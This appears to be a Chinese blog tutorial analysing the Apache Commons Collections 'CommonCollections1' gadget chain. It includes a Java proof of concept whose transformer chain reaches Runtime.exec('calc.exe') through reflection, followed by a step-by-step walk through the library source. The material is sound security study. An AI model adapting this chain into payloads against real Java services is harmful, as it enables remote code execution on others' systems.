CommonCollections1
CommonCollections1链
- CommonCollections1
- poc展示
- 调用链分析
- AbstractInputCheckedMapDecorator
- TransformedMap
- ChainedTransformer
- ConstantTransformer
- InvokerTransformer
- poc分析
- 通过反射实现Runtime.getRuntime().exec("calc.exe")
- forName
- getMethod
- invoke
- 依据反射构造ChainedTransformer
- step1
- step2
- step3
- step4
CommonCollections1
poc展示
这是一段POC,运行后会弹出一个计算器。
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class test {public static void main(String[] args) throws Exception {//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),//new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {Class.forName("java.lang.Runtime"), new Object[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);//创建Map并绑定transformerChinaMap innerMap = new HashMap();innerMap.put("value", "value");//给予map数据转化链Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式//触发漏洞onlyElement.setValue("foobar");}
}
调用链分析
先debug一下看看调用链,整个过程从onlyElement.setValue("foobar")开始,每段代码只取相关的片段。
源码的注释需要下载CommonsCollections源码查看,debug时是没有的。
AbstractInputCheckedMapDecorator
// org. apache. commons. collections. map. AbstractInputCheckedMapDecoratorprotected abstract Object checkSetValue(Object var1);//3/*** Implementation of a map entry that checks additions via setValue.*/static class MapEntry extends AbstractMapEntryDecorator {private final AbstractInputCheckedMapDecorator parent;/** The parent map */protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {//1value = this.parent.checkSetValue(value);//2return this.entry.setValue(value);}}
如代码注释里的顺序所示,程序先到AbstractInputCheckedMapDecorator的子类MapEntry,在2处调用3处的checkSetValue,但是这里的checkSetValue是抽象函数,程序运行时会根据实例调用对应的实现。
checkSetValue对应的实现有两个如下:
根据poc的代码,这里会执行TransformMap里定义的checkSetValue。
TransformedMap
// org. apache. commons. collections. map. TransformedMap extends AbstractInputCheckedMapDecorator// protected final Transformer keyTransformer;protected final Transformer valueTransformer;/*** Factory method to create a transforming map.* <p>* If there are any elements already in the map being decorated, they* are NOT transformed.* Constrast this with {@link #decorateTransform}.* * @param map the map to decorate, must not be null* @param keyTransformer the transformer to use for key conversion, null means no transformation* @param valueTransformer the transformer to use for value conversion, null means no transformation* @throws IllegalArgumentException if map is null*/public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}/*** Constructor that wraps (not copies).*/protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}/*** Override to transform the value when using <code>setValue</code>.* * @param value the value to transform* @return the transformed value* @since Commons Collections 3.1*/protected Object checkSetValue(Object value) {//1return this.valueTransformer.transform(value);//2}
该类是对上文AbstractInputCheckedMapDecorator的继承,实现了checkSetValue。
该类还与poc中Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain)有关。
poc中构造的transformers变量先到transformerChain再到outerMap,outerMap是TransformedMap类型的一个实例。
2处的transform是接口Transformer中定义的类,程序运行时会根据实例调用对应的实现。
transform对应的实现有21个如下:
根据poc中的代码,这里会运行ChainedTransformer类实现的transform。
ChainedTransformer
// org. apache. commons. collections. functors. ChainedTransformer implements Transformerprivate final Transformer[] iTransformers;/*** Transforms the input to result via each decorated transformer* * @param object the input object passed to the first transformer* @return the transformed result*/public Object transform(Object object) {//1for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);//2}return object;}
ChainedTransformer实现了Transformer接口,实现了transform。
2处的transform也是接口Transformer中定义的类,程序运行时会根据实例调用对应的实现。
transform对应的实现有21个如下:
根据poc中transformers变量的定义,该循环会先调用一次ConstantTransformer中实现的transform,再调用三次InvokerTransformer中实现的transform。
ConstantTransformer
// org. apache. commons. collections. functors. ConstantTransformer implements Transformerprivate final Object iConstant;public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}/*** Transforms the input by ignoring it and returning the stored constant instead.* * @param input the input object which is ignored* @return the stored constant*/public Object transform(Object input) {//1return this.iConstant;//2}
根据poc中new ConstantTransformer(Runtime.class),2处返回的是java.lang.Runtime
InvokerTransformer
// org. apache. commons. collections. functors. InvokerTransformerprivate final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;/*** Constructor that performs no validation.* Use <code>getInstance</code> if you want that.* * @param methodName the method to call* @param paramTypes the constructor parameter types, not cloned* @param args the constructor arguments, not cloned*/public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}/*** Transforms the input to result by invoking a method on the input.* * @param input the input object to transform* @return the transformed result, null if null input*/public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();//1Method method = cls.getMethod(iMethodName, iParamTypes);//2return method.invoke(input, iArgs);//3} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}
此处是整个poc的关键,关键代码是1、2、3处,这里和上面的java.lang.Runtime最终构成了Runtime.getRuntime().exec(“calc.exe”)。
下面重点分析此处代码。
poc分析
通过反射实现Runtime.getRuntime().exec(“calc.exe”)
需要了解Java反射以及forName、getMethod、invoke函数。
下面主要看下源码里对这三个函数的注释描述。
forName
/*** Returns the Class object associated with the class or interface with the given string name.* @param className the fully qualified name of the desired class.* @return the Class object for the class with the specified name. */@CallerSensitivepublic static Class<?> forName(String className)throws ClassNotFoundException {Class<?> caller = Reflection.getCallerClass();return forName0(className, true, ClassLoader.getClassLoader(caller), caller);}
getMethod
/*** Returns a Method object that reflects the specified public member method of the class or interface represented by this Class object.* The name parameter is a String specifying the simple name of the desired method.* The parameterTypes parameter is an array of Class objects that identify the method's formal parameter types, in declared order.* If parameterTypes is null, it is treated as if it were an empty array.* * Static methods declared in superinterfaces of the class or interface* represented by this Class object are not considered members of* the class or interface.** @param name the name of the method* @param parameterTypes the list of parameters* @return the Method object that matches the specified name and parameterTypes*/@CallerSensitivepublic Method getMethod(String name, Class<?>... parameterTypes)throws NoSuchMethodException, SecurityException {checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true);Method method = getMethod0(name, parameterTypes, true);if (method == null) {throw new NoSuchMethodException(getName() + "." + name + argumentTypesToString(parameterTypes));}return method;}
invoke
/*** Invokes the underlying method represented by this Method* object, on the specified object with the specified parameters.** If the underlying method is static, then the specified obj argument is ignored. It may be null** @param obj the object the underlying method is invoked from* @param args the arguments used for the method call* @return the result of dispatching the method represented by*/@CallerSensitivepublic Object invoke(Object obj, Object... args)throws IllegalAccessException, IllegalArgumentException,InvocationTargetException{if (!override) {if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {Class<?> caller = Reflection.getCallerClass();checkAccess(caller, clazz, obj, modifiers);}}MethodAccessor ma = methodAccessor; // read volatileif (ma == null) {ma = acquireMethodAccessor();}return ma.invoke(obj, args);}
因此有
[Runtime类].getMethod([方法exec]).invoke([Runtime对象],[参数calc.exe])
由于Runtime的无参构造函数由private修饰,因为无法用newInstance构造,采用getRuntime方法构造。
因此有反射构造:
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))//此处在获取类,"calc.exe");
invoke源码中对该函数有一段特别重要的注释,单独拿出来说:
If the underlying method is static, then the specified obj argument is ignored. It may be null
因为getMethod是static方法,因此反射构造可以改写为:
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)//此处在获取类,"calc.exe");
依据反射构造ChainedTransformer
InvokerTransformer里有一段重要代码是构造的关键:
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
改造一下便是:
input.getClass().getMethod(iMethodName, iParamTypes).invoke(input, iArgs)
根据该结构改造反射构造:
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass().getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)//此处在获取类,"calc.exe");
即为了匹配样式,把Class.forName("java.lang.Runtime")改为Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass()。
根据ChainedTransformer的源码可知,上一层transform的结果会是这一层transform的参数,因此有:
step1
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)return input.getClass().getMethod("exec", String.class).invoke(input, "calc.exe")new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
step2
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime")return input.getClass().getMethod("invoke", new Class[] {Object.class, Object[].class}).invoke(input, new Object[] {null, new Object[0]})new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]})
step3
Object input = Class.forName("java.lang.Runtime")return input.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class}).invoke(input, new Object[] {"getRuntime", new Class[0]})new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
step4
new ConstantTransformer(Runtime.class)
至此poc中的transformers构造完成
相关文章:
CommonCollections1
CommonCollections1链 CommonCollections1poc展示调用链分析AbstractInputCheckedMapDecoratorTransformedMapChainedTransformerConstantTransformerInvokerTransformer poc分析通过反射实现Runtime.getRuntime().exec("calc.exe")forNamegetMethodinvoke 依据反射构…...
6、关于Medical-Transformer
6、关于Medical-Transformer Axial-Attention原文链接:Axial-attention Medical-Transformer原文链接:Medical-Transformer Medical-Transformer实际上是Axial-Attention在医学领域的运行,只是在这基础上增加了门机制,实际上也就…...
19_单片机开发常用工具的使用
工欲善其事必先利其器,我们做单片机开发的时候,不管是调试电路还是调试程序,都需要借助一些辅助工具来帮助查找和定位问题,从而帮助我们顺利解决问题。没有任何辅助工具的单片机项目开发很可能就是无法完成的任务,不过…...
最新版微服务项目搭建
一,项目总体介绍 在本项目中,我将使用alibabba的 nacos 作为项目的注册中心,使用 spring cloud gateway 做为项目的网关,用 openfeign 作为服务间的调用组件。 项目总体架构图如下: 注意:我的Java环境是17…...
spring揭秘19-spring事务01-事务抽象
文章目录 【README】【1】事务基本元素【1.1】事务分类 【2】java事务管理【2.1】基于java的局部事务管理【2.2】基于java的分布式事务管理【2.2.1】基于JTA的分布式事务管理【2.2.2】基于JCA的分布式事务管理 【2.3】java事务管理的问题 【3】spring事务抽象概述【3.1】spring…...
基于Matlab的图像去雾系统(四种方法)关于图像去雾的基本算法代码的集合,方法包括局部直方图均衡法、全部直方图均衡法、暗通道先验法、Retinex增强。
基于Matlab的图像去雾系统(四种方法) 关于图像去雾的基本算法代码的集合,方法包括局部直方图均衡法、全部直方图均衡法、暗通道先验法、Retinex增强。 所有代码整合到App designer编写的GUI界面中,包括导入图片,保存处…...
油猴插件录制请求,封装接口自动化参数
参考:如何使用油猴插件提高测试工作效率 一、背景 在酷家乐设计工具测试中,总会有许多高频且较繁琐的工作,比如: 查询插件版本:需要打开Chrome控制台,输入好几个命令然后过滤出版本信息。 查询模型商品&…...
循环购模式!结合引流和复购于一体的商业模型!
欢迎各位朋友,我是你们的电商策略顾问吴军。今天,我将向大家介绍一种新颖的商业模式——循环购模式,它将如何改变我们的消费和收益方式。你是否好奇,为何商家会提供如此慷慨的优惠?消费一千元,不仅能够得到…...
Ilya-AI分享的他在OpenAI学习到的15个提示工程技巧
Ilya(不是本人,claude AI)在社交媒体上分享了他在OpenAI学习到的15个Prompt撰写技巧。 以下是详细的内容: 提示精确化:在编写提示时,力求表达清晰准确。清楚地阐述任务需求和概念定义至关重要。例:不用"分析文本",而用&…...
c中 int 和 unsigned int
c语言中,char、short、int、int64以及unsigned char、unsigned short、unsigned int、unsigned int64等等类型都可以表示整数。但是他们表示整数的位数不同,比如:char/unisigned char表示8位整数; short/unsigned short表示16位整…...
sheng的学习笔记-AI-话题模型(topic model),LDA模型,Unigram Model,pLSA Model
AI目录:sheng的学习笔记-AI目录-CSDN博客 基础知识 什么是话题模型(topic model) 话题模型(topic model)是一族生成式有向图模型,主要用于处理离散型的数据(如文本集合),在信息检索、自然语言处理等领域有广泛应用…...
html 页面引入 vue 组件之 http-vue-loader.js
一、http-vue-loader.js http-vue-loader.js 是一个 Vue 单文件组件加载器,可以让我们在传统的 HTML 页面中使用 Vue 单文件组件,而不必依赖 Node.js 等其他构建工具。它内置了 Vue.js 和样式加载器,并能自动解析 Vue 单文件组件中的所有内容…...
html+css网页设计 旅行 蜘蛛旅行社3个页面
htmlcss网页设计 旅行 蜘蛛旅行社3个页面 网页作品代码简单,可使用任意HTML辑软件(如:Dreamweaver、HBuilder、Vscode 、Sublime 、Webstorm、Text 、Notepad 等任意html编辑软件进行运行及修改编辑等操作)。 获取源码 1&#…...
考拉悠然产品发布会丨以悠然远智全模态AI应用平台探索AI行业应用
9月6日,成都市大模型新技术新成果发布暨供需对接系列活动——考拉悠然专场,在成都市高新区菁蓉汇盛大举行。考拉悠然重磅发布了悠然远智丨全模态AI应用平台,并精彩展示了交通大模型应用——智析快处等最新的AI产品和技术成果。 在四川省科学…...
LLM大模型学习:揭秘LLM应用构建:探究文本加载器的必要性及在LangChain中的运用
构建 LLM 应用为什么需要文本加载器,langchain 中如何使用文本加载器? 在不同的应用场景中需要使用不同的文本内容作为内容的载体,针对不同的类型的文本,langchain 提供了多种文本加载器来帮助我们快速的将文本切片,从…...
Flutter函数
在Dart中,函数为 一等公民,可以作为参数对象传递,也可以作为返回值返回。 函数定义 // 返回值 (可以不写返回值,但建议写)、函数名、参数列表 showMessage(String message) {//函数体print(message); }void showMessage(String m…...
P3565 [POI2014] HOT-Hotels
~~~~~ P3565 [POI2014] HOT-Hotels ~~~~~ 总题单链接 思路 ~~~~~ 设 g [ u ] [ i ] g[u][i] g[u][i] 表示在 u u u 的子树内,距离 u u u 为 i i i 的点的个数。 ~~~~~ 设 d p [ u ] [ i ] dp[u][i] dp[u][i] 表示: u u u 的子树内存在两个点 x , …...
设计模式 | 单例模式
定义 单例设计模式(Singleton Pattern)是一种创建型设计模式,它确保一个类只有一个实例,并提供一个全局访问点来获取该实例。这种模式常用于需要控制对某些资源的访问的场景,例如数据库连接、日志记录等。 单例模式涉…...
Web安全之CSRF攻击详解与防护
在互联网应用中,安全性问题是开发者必须时刻关注的核心内容之一。跨站请求伪造(Cross-Site Request Forgery, CSRF),是一种常见的Web安全漏洞。通过CSRF攻击,黑客可以冒用受害者的身份,发送恶意请求&#x…...
IDEA运行Java程序提示“java: 警告: 源发行版 11 需要目标发行版 11”
遇到这个提示一般是在pom.xml中已经指定了构建的Java版本环境是11例如(此时添加了build插件的情况下虽然不能直接运行代码但是maven是可以正常打包构建): <build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><…...
Java-41 深入浅出 Spring - 声明式事务的支持 事务配置 XML模式 XML+注解模式
点一下关注吧!!!非常感谢!!持续更新!!! 🚀 AI篇持续更新中!(长期更新) 目前2025年06月05日更新到: AI炼丹日志-28 - Aud…...
WordPress插件:AI多语言写作与智能配图、免费AI模型、SEO文章生成
厌倦手动写WordPress文章?AI自动生成,效率提升10倍! 支持多语言、自动配图、定时发布,让内容创作更轻松! AI内容生成 → 不想每天写文章?AI一键生成高质量内容!多语言支持 → 跨境电商必备&am…...
CMake 从 GitHub 下载第三方库并使用
有时我们希望直接使用 GitHub 上的开源库,而不想手动下载、编译和安装。 可以利用 CMake 提供的 FetchContent 模块来实现自动下载、构建和链接第三方库。 FetchContent 命令官方文档✅ 示例代码 我们将以 fmt 这个流行的格式化库为例,演示如何: 使用 FetchContent 从 GitH…...
mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包
文章目录 现象:mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包遇到 rpm 命令找不到已经安装的 MySQL 包时,可能是因为以下几个原因:1.MySQL 不是通过 RPM 包安装的2.RPM 数据库损坏3.使用了不同的包名或路径4.使用其他包…...
掌握 HTTP 请求:理解 cURL GET 语法
cURL 是一个强大的命令行工具,用于发送 HTTP 请求和与 Web 服务器交互。在 Web 开发和测试中,cURL 经常用于发送 GET 请求来获取服务器资源。本文将详细介绍 cURL GET 请求的语法和使用方法。 一、cURL 基本概念 cURL 是 "Client URL" 的缩写…...
数据结构:递归的种类(Types of Recursion)
目录 尾递归(Tail Recursion) 什么是 Loop(循环)? 复杂度分析 头递归(Head Recursion) 树形递归(Tree Recursion) 线性递归(Linear Recursion)…...
全面解析数据库:从基础概念到前沿应用
在数字化时代,数据已成为企业和社会发展的核心资产,而数据库作为存储、管理和处理数据的关键工具,在各个领域发挥着举足轻重的作用。从电商平台的商品信息管理,到社交网络的用户数据存储,再到金融行业的交易记录处理&a…...
高考志愿填报管理系统---开发介绍
高考志愿填报管理系统是一款专为教育机构、学校和教师设计的学生信息管理和志愿填报辅助平台。系统基于Django框架开发,采用现代化的Web技术,为教育工作者提供高效、安全、便捷的学生管理解决方案。 ## 📋 系统概述 ### 🎯 系统定…...
32位寻址与64位寻址
32位寻址与64位寻址 32位寻址是什么? 32位寻址是指计算机的CPU、内存或总线系统使用32位二进制数来标识和访问内存中的存储单元(地址),其核心含义与能力如下: 1. 核心定义 地址位宽:CPU或内存控制器用32位…...
网页端 js 读取发票里的二维码信息(图片和PDF格式)
起因 为了实现在报销流程中,发票不能重用的限制,发票上传后,希望能读出发票号,并记录发票号已用,下次不再可用于报销。 基于上面的需求,研究了OCR 的方式和读PDF的方式,实际是可行的ÿ…...
